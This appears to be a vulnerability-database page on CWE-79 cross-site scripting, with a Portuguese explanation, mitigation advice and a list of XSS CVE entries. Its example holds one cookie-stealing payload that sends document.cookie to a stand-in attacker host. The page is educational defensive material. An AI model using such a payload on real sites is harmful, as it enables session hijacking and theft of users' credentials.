Fallos del tipo CWE-79

29.953 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-9885MEDIUMWidget or Sidebar Shortcode <= 0.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-37161MEDIUMMeterSphere front-end editor stores XSS vulnerabilityEPSS 0.4%CVE-2026-1134MEDIUMitsourcecode Society Management System expenses.php cross site scriptingEPSS 0.4%CVE-2024-20270MEDIUMA vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended ServiceEPSS 0.4%CVE-2025-5179MEDIUMRealce Tecnologia Queue Ticket Kiosk Cadastro de Administrador Page index.php cross site scriptingEPSS 0.4%CVE-2026-42849CRITICALauthentik: Reflected XSS in SFE AutosubmitStage allows IDP account takeoverEPSS 0.4%CVE-2025-63589HIGHA reflected XSS vulnerability exists in CMSimple_XH 1.8's index.php router when attacker-controlled path segments are not sanitized or encodEPSS 0.4%CVE-2024-50520MEDIUMWordPress Ancient World Linked Data plugin <= 0.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-6200HIGHHaloITSM - Stored Cross-Site Scripting in TicketsEPSS 0.4%CVE-2024-1377MEDIUMHappy Addons for Elementor <= 3.10.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Author Meta WidgetEPSS 0.4%CVE-2024-51799MEDIUMWordPress Bg Patriarchia BU plugin <= 2.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-9886MEDIUMWP Baidu Map <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-25365HIGHCross Site Scripting vulnerability found in October CMS v.3.2.0 allows local attacker to execute arbitrary code via the file type .mp3EPSS 0.4%CVE-2025-65442MEDIUMDOM-based Cross-Site Scripting (XSS) vulnerability in 201206030 novel V3.5.0 allows remote attackers to execute arbitrary JavaScript code orEPSS 0.4%CVE-2024-51801MEDIUMWordPress Brand my Footer plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-2337MEDIUMEasy Testimonials <= 3.9.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-10367MEDIUMOtter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE <= 3.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2024-1028LOWSourceCodester Facebook News Feed Like Post cross site scriptingEPSS 0.4%CVE-2024-31928MEDIUMWordPress Top Bar plugin <= 3.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-52283MEDIUMMissing sanitation of inputs allowed arbitrary users to conduct a stored XSS attack that triggers for users that view a certain projectEPSS 0.4%